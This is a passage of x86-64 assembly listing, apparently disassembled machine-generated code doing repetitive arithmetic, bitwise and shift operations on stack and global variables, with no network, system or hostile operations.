movsx ecx, byte [rsp + 0x23e]
or eax, ecx
mov byte [0x1401cd727], al
movzx eax, word [rsp + 0x1624]
mov rcx, qword [rsp + 0x9448]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x161c], ax
mov rax, qword [rsp + 0x95c8]
movzx eax, byte [rax]
mov byte [rsp + 0x248], al
movsx eax, word [rsp + 0x156c]
movsx ecx, word [rsp + 0x1614]
and eax, ecx
mov word [rsp + 0x15fc], ax
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14e4]
sub eax, ecx
mov rcx, qword [rsp + 0x9398]
mov word [rcx], ax
lea rax, [rsp + 0x9a58]
mov qword [rsp + 0x9d08], rax
mov rax, qword [rsp + 0x9ce8]
mov ecx, dword [rsp + 0x4f1c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x98d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f4c]
mov dword [rsp + 0x5004], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
lea rax, [0x1401cd725]
mov qword [0x1401cd928], rax
mov rax, qword [rsp + 0x9058]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fb]
add eax, ecx
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0x97d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1048], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1650]
add eax, ecx
mov word [rsp + 0x1624], ax
lea rax, [rsp + 0x23d]
mov qword [rsp + 0x9d10], rax
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x9770]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9560], rax
lea rax, [rsp + 0x4e7c]
mov qword [rsp + 0x9d18], rax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0x9650]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9258]
mov qword [rcx], rax
mov eax, dword [0x1401cc01c]
mov rcx, qword [rsp + 0x9918]
mov qword [rsp + 0x9d20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4e54], eax
movzx eax, byte [rsp + 0x20a]
mov byte [0x1401cd7da], al
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
mov word [rsp + 0x167c], ax
movzx eax, word [rsp + 0x1670]
mov rcx, qword [rsp + 0x9b58]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9870]
mov word [rcx], ax
lea rax, [0x1401cd78f]
mov qword [rsp + 0x9d28], rax
mov rax, qword [rsp + 0x9858]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ff]
xor eax, ecx
mov byte [rsp + 0x237], al
mov rax, qword [rsp + 0x9668]
movzx ecx, al
mov rax, qword [rsp + 0x8ca0]
shr rax, cl
mov qword [rsp + 0x8600], rax
mov rax, qword [rsp + 0x9548]
mov eax, dword [rax]
mov dword [rsp + 0x5008], eax
mov eax, dword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x4968]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ecc], eax
mov rax, qword [rsp + 0x9220]
mov qword [rsp + 0x9d30], rax
mov rax, qword [rsp + 0x9bc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9080]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21f]
sub eax, ecx
mov rcx, qword [0x1401cd718]
mov byte [rcx], al
mov rax, qword [rsp + 0x9318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f4]
sub eax, ecx
mov byte [rsp + 0x21b], al
movzx eax, word [rsp + 0x14c4]
mov word [rsp + 0x1680], ax
movzx eax, word [rsp + 0x14fc]
movzx ecx, word [rsp + 0x15e4]
add eax, ecx
mov word [rsp + 0x166c], ax
lea rax, [rsp + 0x4ee4]
mov qword [rsp + 0x9d38], rax
mov rax, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0x90e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fd4], eax
mov rax, qword [rsp + 0x9570]
mov rcx, qword [rsp + 0x9390]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
lea rax, [rsp + 0x8848]
mov qword [rsp + 0x9d40], rax
movsx eax, byte [0x1401cd724]
mov rcx, qword [rsp + 0x9c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9940]
mov byte [rcx], al
mov rax, qword [rsp + 0x92f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x211]
add eax, ecx
mov byte [0x1401cc046], al
lea rax, [rsp + 0x1f4]
mov qword [rsp + 0x9d48], rax
mov rax, qword [rsp + 0x9c48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x160c], ax
movzx eax, word [rsp + 0x15d4]
mov word [rsp + 0x1684], ax
mov rax, qword [rsp + 0x9860]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9a50]
mov qword [rsp + 0x9d50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d50]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9228]
mov dword [rcx], eax
mov rax, qword [rsp + 0x95b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9680]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c60], rax
mov rax, qword [rsp + 0x9d18]
mov eax, dword [rax]
mov dword [rsp + 0x500c], eax
mov rax, qword [0x1401cc020]
movzx ecx, al
mov rax, qword [rsp + 0x9068]
sar rax, cl
mov qword [rsp + 0x99c8], rax
lea rax, [rsp + 0x100c]
mov qword [rsp + 0x9d58], rax
movsx eax, word [rsp + 0x14e0]
movsx ecx, word [rsp + 0x12e8]
or eax, ecx
mov word [0x1401cc0a0], ax
movsx eax, word [rsp + 0x154c]
mov rcx, qword [rsp + 0x9a80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9590]
mov word [rcx], ax
mov rax, qword [rsp + 0x9900]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21d]
sub eax, ecx
mov byte [rsp + 0x20d], al
lea rax, [rsp + 0x1e9]
mov qword [rsp + 0x9d60], rax
mov rax, qword [rsp + 0x9470]
mov rcx, qword [rsp + 0x8f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9890]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4fcc]
mov dword [rsp + 0x5010], eax
mov rax, qword [rsp + 0x9b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9040]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9bb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x95f8]
mov rcx, qword [rsp + 0x9020]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x94c0], rax
mov rax, qword [rsp + 0x9178]
movzx eax, byte [rax]
mov byte [rsp + 0x249], al
mov rax, qword [rsp + 0x9208]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x92a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd778]
mov byte [rcx], al
movsx eax, word [rsp + 0x15d8]
movsx ecx, word [rsp + 0x1618]
add eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov word [rsp + 0x1688], ax
movsx eax, byte [rsp + 0x16a]
mov rcx, qword [rsp + 0x9100]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x234], al
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x205]
add eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov byte [rcx], al
mov rax, qword [rsp + 0x9680]
mov rcx, qword [rsp + 0x98c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x81d8], rax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x9d00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ae8], rax
mov rax, qword [rsp + 0x95a8]
mov eax, dword [rax]
mov dword [rsp + 0x5014], eax
mov rax, qword [rsp + 0x9120]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x95e0]
mov qword [rsp + 0x9d68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d68]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4dfc], eax
movzx eax, word [rsp + 0x15a0]
mov rcx, qword [0x1401cd910]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc0a4], ax
movzx eax, byte [rsp + 0x217]
mov byte [rsp + 0x24a], al
mov rax, qword [rsp + 0x9590]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d0]
xor eax, ecx
mov rcx, qword [rsp + 0x9550]
mov word [rcx], ax
mov rax, qword [0x1401cd7e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e0]
shl eax, cl
mov rcx, qword [rsp + 0x92f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x20f]
mov byte [rsp + 0x24b], al
mov rax, qword [rsp + 0x9228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5014], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0x9d70], rax
mov rax, qword [rsp + 0x9698]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x96f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9978]
mov rcx, qword [rsp + 0x8560]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9210], rax
movsx eax, word [0x1401cc084]
mov rcx, qword [rsp + 0x9628]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401cd810]
mov word [rcx], ax
lea rax, [rsp + 0x223]
mov qword [rsp + 0x9d78], rax
mov rax, qword [rsp + 0x9248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15cc]
add eax, ecx
mov word [rsp + 0x15e0], ax
lea rax, [0x1401cc078]
mov qword [rsp + 0x9d80], rax
mov rax, qword [rsp + 0x9878]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x98f8]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9aa0]
mov qword [rsp + 0x9d88], rax
mov rax, qword [rsp + 0x9910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9968]
mov dword [rcx], eax
lea rax, [rsp + 0x9958]
mov qword [rsp + 0x9d90], rax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov byte [0x1401cd7db], al
movsx eax, word [rsp + 0x162c]
mov rcx, qword [rsp + 0x9c10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15d0], ax
movzx eax, byte [rsp + 0xe1]
mov byte [rsp + 0x24c], al
mov rax, qword [rsp + 0x9bc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1668]
shl eax, cl
mov rcx, qword [rsp + 0x8f08]
mov word [rcx], ax
movzx eax, word [rsp + 0x15a4]
mov rcx, qword [rsp + 0x9740]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9448]
mov word [rcx], ax
lea rax, [rsp + 0x4ee0]
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0x9908]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9110], rax
lea rax, [rsp + 0x9b88]
mov qword [rsp + 0x9da0], rax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4f70]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e84], eax
movzx eax, byte [0x1401cc032]
movzx ecx, byte [rsp + 0x228]
and eax, ecx
mov rcx, qword [0x1401cd8a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a18]
mov word [rcx], ax
movzx eax, word [rsp + 0x1620]
mov word [rsp + 0x168c], ax
mov rax, qword [0x1401cd908]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x212]
sub eax, ecx
mov byte [rsp + 0x218], al
lea rax, [rsp + 0x1534]
mov qword [rsp + 0x9da8], rax
mov rax, qword [rsp + 0x9820]
mov rcx, qword [rsp + 0x9588]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x93f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9988]
mov ecx, dword [rsp + 0x4f04]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e7c], eax
mov eax, dword [rsp + 0x4e74]
mov dword [rsp + 0x5018], eax
mov rax, qword [rsp + 0x9a58]
mov rcx, qword [rsp + 0x8dd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f38], rax
movsx eax, byte [rsp + 0x242]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc047], al
mov rax, qword [rsp + 0x99d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x223]
sub eax, ecx
mov byte [rsp + 0xb1], al
movsx eax, byte [0x1401cc047]
mov rcx, qword [rsp + 0x9300]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0x9640]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1594]
add eax, ecx
mov word [rsp + 0x164c], ax
lea rax, [rsp + 0x244]
mov qword [rsp + 0x9db0], rax
mov eax, dword [rsp + 0x4e40]
movzx ecx, al
mov eax, dword [0x1401cc01c]
sar eax, cl
mov dword [rsp + 0x5000], eax
mov rax, qword [rsp + 0x8f78]
mov eax, dword [rax]
mov dword [rsp + 0x501c], eax
mov rax, qword [rsp + 0x9110]
mov rcx, qword [rsp + 0x95d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x92d0], rax
lea rax, [0x1401cc010]
mov qword [rsp + 0x9db8], rax
movsx eax, word [rsp + 0x1680]
movsx ecx, word [rsp + 0x167c]
shl eax, cl
mov word [0x1401cc058], ax
mov rax, qword [rsp + 0x94e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x243]
xor eax, ecx
mov rcx, qword [rsp + 0x9630]
mov byte [rcx], al
mov rax, qword [0x1401cd7e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22a]
and eax, ecx
mov byte [rsp + 0x1f5], al
movzx eax, word [rsp + 0x159c]
mov word [rsp + 0x1690], ax
movsx eax, word [rsp + 0x14e8]
movsx ecx, word [rsp + 0x1568]
sub eax, ecx
mov word [rsp + 0x14d8], ax
lea rax, [0x1401cc010]
mov qword [rsp + 0x9dc0], rax
mov rax, qword [rsp + 0x9450]
mov rcx, qword [rsp + 0x8f28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9010], rax
mov rax, qword [rsp + 0x90b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x9860]
mov eax, dword [rax]
mov dword [rsp + 0x5020], eax
mov rax, qword [rsp + 0x9c48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x154c]
sub eax, ecx
mov word [0x1401cc0a8], ax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd716]
add eax, ecx
mov rcx, qword [rsp + 0x9818]
mov byte [rcx], al
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
mov byte [rsp + 0x24d], al
movsx eax, word [rsp + 0x15b8]
imul eax, eax, 0x46f6
mov word [rsp + 0x11f4], ax
movzx eax, word [rsp + 0x1684]
mov rcx, qword [0x1401cd770]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9708]
mov word [rcx], ax
lea rax, [rsp + 0x4e64]
mov qword [rsp + 0x9dc8], rax
mov rax, qword [rsp + 0x8f38]
mov rcx, qword [rsp + 0x9580]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9750], rax
lea rax, [rsp + 0x9700]
mov qword [rsp + 0x9dd0], rax
mov eax, dword [rsp + 0x4f04]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f64], eax
movzx eax, byte [rsp + 0x1e0]
mov byte [rsp + 0x24e], al
mov rax, qword [rsp + 0x99a8]
movsx eax, word [rax]
movsx ecx, word [0x1401cd7e8]
add eax, ecx
mov word [0x1401cc088], ax
movzx eax, word [rsp + 0x1590]
mov rcx, qword [rsp + 0x9740]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x98f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1e4]
movsx ecx, byte [rsp + 0x22f]
shl eax, cl
mov rcx, qword [rsp + 0x93c0]
mov byte [rcx], al
movzx eax, byte [0x1401cd78e]
mov byte [rsp + 0x24f], al
mov rax, qword [rsp + 0x9db8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x94b0]
shr rax, cl
mov rcx, qword [rsp + 0x9ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f74]
mov dword [rsp + 0x5024], eax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x8b40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a60], rax
mov rax, qword [rsp + 0x95c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9268]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x23f]
mov byte [rsp + 0x250], al
lea rax, [rsp + 0x1690]
mov qword [0x1401cd930], rax
mov rax, qword [0x1401cd778]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x228]
sub eax, ecx
mov byte [rsp + 0x225], al
lea rax, [rsp + 0x152c]
mov qword [rsp + 0x9dd8], rax
mov rax, qword [rsp + 0x9730]
movsx eax, word [rax]
mov rcx, qword [0x1401cd880]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x8d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x99b8]
mov dword [rcx], eax
lea rax, [rsp + 0x9c20]
mov qword [rsp + 0x9de0], rax
mov rax, qword [rsp + 0x8f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9048]
mov dword [rcx], eax
lea rax, [rsp + 0x91a0]
mov qword [rsp + 0x9de8], rax
movzx eax, word [rsp + 0x1688]
mov rcx, qword [rsp + 0x91b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x164c], ax
lea rax, [rsp + 0x215]
mov qword [0x1401cd938], rax
movsx eax, word [rsp + 0x1048]
movsx ecx, word [rsp + 0x165c]
sub eax, ecx
mov word [rsp + 0x14e8], ax
mov rax, qword [rsp + 0x99d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9da8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1180], ax
mov rax, qword [rsp + 0x8f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x220]
sub eax, ecx
mov byte [rsp + 0x9a], al
lea rax, [rsp + 0x5018]
mov qword [rsp + 0x9df0], rax
mov rax, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0x98d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8848], rax
mov rax, qword [rsp + 0x90b0]
mov eax, dword [rax]
mov dword [rsp + 0x5028], eax
mov rax, qword [rsp + 0x9770]
movzx ecx, al
mov rax, qword [rsp + 0x97b0]
shr rax, cl
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9790]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x92f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9410]
mov byte [rcx], al
mov rax, qword [0x1401cd8d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9380]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401cd8d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1538]
mov word [rsp + 0x1694], ax
movsx eax, byte [rsp + 0x1ff]
mov rcx, qword [rsp + 0x93d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x212], al
lea rax, [0x1401cd78a]
mov qword [rsp + 0x9df8], rax
movsx eax, word [rsp + 0x1048]
mov rcx, qword [rsp + 0x9ab0]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1570], ax
mov rax, qword [rsp + 0x92b0]
mov rcx, qword [rsp + 0x9b68]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8e70], rax
lea rax, [0x1401cc020]
mov qword [rsp + 0x9e00], rax
mov rax, qword [rsp + 0x99b8]
mov rcx, qword [rsp + 0x93a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ed4], eax
lea rax, [rsp + 0x4e38]
mov qword [rsp + 0x9e08], rax
movsx eax, byte [rsp + 0x21a]
movsx ecx, byte [rsp + 0x23e]
add eax, ecx
mov byte [0x1401cd727], al
mov rax, qword [rsp + 0x9778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1638]
sub eax, ecx
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0x9aa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9088]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9848]
mov byte [rcx], al
lea rax, [rsp + 0x229]
mov qword [rsp + 0x9e10], rax
movzx eax, word [rsp + 0x15c8]
movzx ecx, word [rsp + 0x1650]
add eax, ecx
mov word [rsp + 0x151c], ax
mov rax, qword [rsp + 0x8c08]
mov qword [rsp + 0x9e18], rax
mov rax, qword [rsp + 0x9b40]
mov rcx, qword [rsp + 0x86e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0x9158]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ee4], eax
lea rax, [rsp + 0x4f28]
mov qword [rsp + 0x9e20], rax
lea rax, [rsp + 0x15c4]
mov qword [0x1401cd940], rax
movsx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9028]
mov word [rcx], ax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0x9e28], rax
movzx eax, word [rsp + 0x1508]
movzx ecx, word [0x1401cc098]
xor eax, ecx
mov word [rsp + 0x161c], ax
movzx eax, byte [rsp + 0x24f]
mov byte [rsp + 0x251], al
mov rax, qword [rsp + 0x97f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e60]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ef0], eax
mov rax, qword [rsp + 0x9860]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9e08]
mov qword [rsp + 0x9e30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e30]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4f0c], eax
mov rax, qword [rsp + 0x9780]
mov rax, qword [rax]
mov qword [rsp + 0x9e38], rax
mov rax, qword [rsp + 0x9220]
mov rcx, qword [rsp + 0x9588]
mov qword [rsp + 0x9e40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e40]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
lea rax, [0x1401cd724]
mov qword [0x1401cd948], rax
movzx eax, word [rsp + 0x15b8]
mov word [rsp + 0x1698], ax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15a4]
add eax, ecx
mov rcx, qword [rsp + 0x9568]
mov word [rcx], ax
mov rax, qword [rsp + 0x9578]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9710]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ea], al
movzx eax, byte [rsp + 0x1fb]
mov byte [rsp + 0x252], al
mov rax, qword [rsp + 0x9d98]
mov ecx, dword [rsp + 0x4fd0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fdc], eax
mov rax, qword [rsp + 0x81d8]
mov qword [rsp + 0x9e48], rax
mov rax, qword [rsp + 0x9c30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ae8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x9308]
mov ecx, dword [rsp + 0x4ff4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f98], eax
mov rax, qword [0x1401cd740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x97a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cd820], ax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1508]
add eax, ecx
mov word [rsp + 0x1134], ax
movsx eax, byte [rsp + 0x9a]
movsx ecx, byte [rsp + 0x234]
add eax, ecx
mov byte [rsp + 0x212], al
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
mov byte [rsp + 0x253], al
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [rsp + 0x210]
sub eax, ecx
mov byte [rsp + 0x1e3], al
lea rax, [rsp + 0x9238]
mov qword [rsp + 0x9e50], rax
mov rax, qword [rsp + 0x9b78]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9720]
mov rcx, qword [rsp + 0x94c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ca8]
mov rax, qword [rax]
mov qword [rsp + 0x9e58], rax
movzx eax, word [rsp + 0x15b4]
mov rcx, qword [rsp + 0x9740]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401cd8c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x215]
movzx ecx, byte [rsp + 0x232]
or eax, ecx
mov rcx, qword [rsp + 0x9058]
mov byte [rcx], al
movzx eax, byte [0x1401cc037]
mov byte [rsp + 0x254], al
mov rax, qword [rsp + 0x9be8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1658], ax
mov rax, qword [rsp + 0x93b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9578]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x180], al
mov rax, qword [0x1401cc028]
mov qword [rsp + 0x9e60], rax
mov rax, qword [rsp + 0x97a8]
mov rcx, qword [rsp + 0x9c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x98e0], rax
mov rax, qword [rsp + 0x93a0]
mov eax, dword [rax]
mov dword [rsp + 0x502c], eax
mov rax, qword [rsp + 0x9000]
mov ecx, dword [rsp + 0x5000]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9550]
movzx eax, word [rax]
mov word [0x1401cd950], ax
movzx eax, byte [rsp + 0x20d]
movzx ecx, byte [rsp + 0x1f5]
sub eax, ecx
mov byte [rsp + 0x1f1], al
mov rax, qword [rsp + 0x9250]
movzx eax, word [rax]
mov word [rsp + 0x169c], ax
movzx eax, word [rsp + 0x164c]
movzx ecx, word [rsp + 0x1624]
and eax, ecx
mov word [rsp + 0x1670], ax
mov rax, qword [rsp + 0x93c0]
movzx eax, byte [rax]
mov byte [rsp + 0x255], al
mov rax, qword [rsp + 0x93a0]
mov rcx, qword [rsp + 0x9440]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f14], eax
mov rax, qword [rsp + 0x9c70]
mov ecx, dword [rsp + 0x4f90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ecc], eax
mov rax, qword [rsp + 0x9cf0]
mov rax, qword [rax]
mov qword [rsp + 0x9e68], rax
mov rax, qword [rsp + 0x8d58]
